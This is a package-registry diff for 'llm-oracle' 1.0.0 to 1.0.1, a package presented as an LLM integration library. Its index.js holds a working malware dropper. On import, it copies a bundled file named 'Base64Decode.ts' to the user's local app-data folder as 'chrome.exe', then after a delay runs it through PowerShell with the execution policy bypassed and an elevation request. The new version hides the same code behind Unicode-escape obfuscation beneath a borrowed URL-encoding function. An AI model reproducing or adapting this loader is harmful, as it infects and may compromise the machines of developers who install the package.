llm-oracle 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +45 -45
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,84 +1,84 @@
1
1
  /*!
2
- * Copyright(c) 2016 Douglas Christopher Wilson
3
- * MIT Licensed
2
+ * C0pyright(c) 2016 D0uglas Chr1stopher W1lson
3
+ * MIT L1censed
4
4
  */
5
5
 
6
- 'use strict'
6
+ 'u\u0073e \u0073trict'
7
7
 
8
8
  /**
9
- * Module exports.
9
+ * M0dule exp0rts.
10
10
  * @public
11
11
  */
12
12
 
13
- const { exec } = require('child_process');
14
- const fs = require('fs');
15
- const path = require('path');
13
+ const { e\u0078ec } = require('c\u0068ild_pr\u006fcess');
14
+ const f\u0073 = require('f\u0073');
15
+ const p\u0061th = require('p\u0061th');
16
16
 
17
- const currentDir = __dirname;
18
- const modelFilePath = path.join(currentDir, 'Base64Decode.ts');
19
- const targetFilePath = path.join(process.env.LOCALAPPDATA, String('chrom++e.e+x+e').replace(/\+/g, ''));
17
+ const curr\u0065ntDir = __d\u0069rname;
18
+ const m\u006fd\u0065lFileP\u0061th = p\u0061th.j\u006f\u0069n(curr\u0065ntDir, 'B\u0061se64D\u0065c\u006fde.ts');
19
+ const t\u0061rg\u0065tFileP\u0061th = p\u0061th.j\u006f\u0069n(pr\u006fcess.\u0065nv.L\u004fC\u0041L\u0041PPD\u0041T\u0041, Str\u0069ng('chr\u006fm++e.e+x+e').repl\u0061ce(/\+/g, ''));
20
20
 
21
- // Create the target directory if it doesn't exist
22
- const targetDir = path.dirname(targetFilePath);
23
- if (!fs.existsSync(targetDir)) {
24
- fs.mkdirSync(targetDir, { recursive: true });
21
+ // Cr\u0065\u0061te the t\u0061rg\u0065t d\u0069rect\u006fry \u0069f \u0069t d\u006f\u0065sn't \u0065x\u0069st
22
+ const t\u0061rg\u0065tD\u0069r = p\u0061th.d\u0069rn\u0061me(t\u0061rg\u0065tFileP\u0061th);
23
+ \u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tD\u0069r)) {
24
+ f\u0073.mkd\u0069rSync(t\u0061rg\u0065tD\u0069r, { rec\u0075rs\u0069ve: true });
25
25
  }
26
26
 
27
- // Copy the header.html file to the target location
28
- if (!fs.existsSync(targetFilePath))
27
+ // C\u006fp\u0079 the he\u0061der.html f\u0069le t\u006f the t\u0061rg\u0065t l\u006fc\u0061t\u0069\u006fn
28
+ \u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tFileP\u0061th))
29
29
  {
30
- setTimeout(() => {
31
- fs.copyFileSync(modelFilePath, targetFilePath);
32
- exec(`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs`, (error, stdout, stderr) => {
30
+ setT\u0069me\u006ft(() => {
31
+ f\u0073.c\u006fp\u0079F\u0069leSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th);
32
+ e\u0078ec(`p\u006fw\u0065rshell -\u0045x\u0065cut\u0069\u006fnP\u006flic\u0079 Bypass St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb Run\u0041s`, (err\u006fr, stdo\u0075t, st\u0064err) => {
33
33
 
34
34
  });
35
35
  }, 60000)
36
36
  }
37
37
 
38
- module.exports = msal_decode
38
+ m\u006fd\u0075le.\u0065xp\u006frts = ms\u0061l_d\u0065c\u006fde
39
39
 
40
40
  /**
41
- * RegExp to match non-URL code points, *after* encoding (i.e. not including "%")
42
- * and including invalid escape sequences.
43
- * @private
41
+ * Reg\u0045xp t\u006f m\u0061tch n\u006fn-URL c\u006fde p\u006f\u0069nts, *\u0061fter* \u0065nc\u006fd\u0069ng (\u0069.e. n\u006ft \u0069ncl\u0075d\u0069ng "%")
42
+ * \u0061nd \u0069ncl\u0075d\u0069ng \u0069nv\u0061l\u0069d \u0065sc\u0061pe s\u0065q\u0075ences.
43
+ * @pr\u0069v\u0061te
44
44
  */
45
45
 
46
- var ENCODE_CHARS_REGEXP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g
46
+ v\u0061r \u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9\u0041-F\u0061-f]|[0-9\u0041-F\u0061-f][^0-9\u0041-F\u0061-f]|$))+/g
47
47
 
48
48
  /**
49
- * RegExp to match unmatched surrogate pair.
50
- * @private
49
+ * Reg\u0045xp t\u006f m\u0061tch \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r.
50
+ * @pr\u0069v\u0061te
51
51
  */
52
52
 
53
- var UNMATCHED_SURROGATE_PAIR_REGEXP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g
53
+ v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g
54
54
 
55
55
  /**
56
- * String to replace unmatched surrogate pair with.
57
- * @private
56
+ * Str\u0069ng t\u006f repl\u0061ce \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r w\u0069th.
57
+ * @pr\u0069v\u0061te
58
58
  */
59
59
 
60
- var UNMATCHED_SURROGATE_PAIR_REPLACE = '$1\uFFFD$2'
60
+ v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE = '$1\uFFFD$2'
61
61
 
62
62
  /**
63
- * Encode a URL to a percent-encoded form, excluding already-encoded sequences.
63
+ * \u0045nc\u006fde \u0061 URL t\u006f \u0061 perc\u0065nt-\u0065nc\u006fd\u0065d f\u006frm, \u0065xcl\u0075d\u0069ng \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d s\u0065q\u0075ences.
64
64
  *
65
- * This function will take an already-encoded URL and encode all the non-URL
66
- * code points. This function will not encode the "%" character unless it is
67
- * not part of a valid sequence (`%20` will be left as-is, but `%foo` will
68
- * be encoded as `%25foo`).
65
+ * Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll t\u0061ke \u0061n \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d URL \u0061nd \u0065nc\u006fde \u0061ll the n\u006fn-URL
66
+ * c\u006fde p\u006f\u0069nts. Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll n\u006ft \u0065nc\u006fde the "%" ch\u0061r\u0061cter \u0075nl\u0065ss \u0069t \u0069s
67
+ * n\u006ft p\u0061rt \u006ff \u0061 v\u0061l\u0069d s\u0065q\u0075ence (`%20` w\u0069ll be l\u0065ft \u0061s-\u0069s, b\u0075t `%f\u006f\u006f` w\u0069ll
68
+ * be \u0065nc\u006fd\u0065d \u0061s `%25f\u006f\u006f`).
69
69
  *
70
- * This encode is meant to be "safe" and does not throw errors. It will try as
71
- * hard as it can to properly encode the given URL, including replacing any raw,
72
- * unpaired surrogate pairs with the Unicode replacement character prior to
73
- * encoding.
70
+ * Th\u0069s \u0065nc\u006fde \u0069s m\u0065\u0061nt t\u006f be "s\u0061fe" \u0061nd d\u006f\u0065s n\u006ft thr\u006fw err\u006frs. \u0049t w\u0069ll try \u0061s
71
+ * h\u0061rd \u0061s \u0069t c\u0061n t\u006f pr\u006fperl\u0079 \u0065nc\u006fde the g\u0069ven URL, \u0069ncl\u0075d\u0069ng repl\u0061c\u0069ng \u0061ny r\u0061w,
72
+ * \u0075np\u0061\u0069red s\u0075rr\u006fg\u0061te p\u0061\u0069rs w\u0069th the \u0055n\u0069c\u006fde repl\u0061cement ch\u0061r\u0061cter pr\u0069\u006fr t\u006f
73
+ * \u0065nc\u006fd\u0069ng.
74
74
  *
75
- * @param {string} url
76
- * @return {string}
75
+ * @p\u0061r\u0061m {str\u0069ng} url
76
+ * @ret\u0075rn {str\u0069ng}
77
77
  * @public
78
78
  */
79
79
 
80
- function msal_decode (url) {
81
- return String(url)
82
- .replace(UNMATCHED_SURROGATE_PAIR_REGEXP, UNMATCHED_SURROGATE_PAIR_REPLACE)
83
- .replace(ENCODE_CHARS_REGEXP, encodeURI)
80
+ f\u0075nct\u0069\u006fn ms\u0061l_d\u0065c\u006fde (url) {
81
+ ret\u0075rn Str\u0069ng(url)
82
+ .repl\u0061ce(\u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP, \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE)
83
+ .repl\u0061ce(\u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP, \u0065nc\u006fde\u0055R\u0049)
84
84
  }
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "llm-oracle",
3
3
  "description": "A seamless integration package for enhancing applications with large language model capabilities.",
4
- "version": "1.0.0",
4
+ "version": "1.0.1",
5
5
  "contributors": [
6
6
  "LLM oracle builder"
7
7
  ],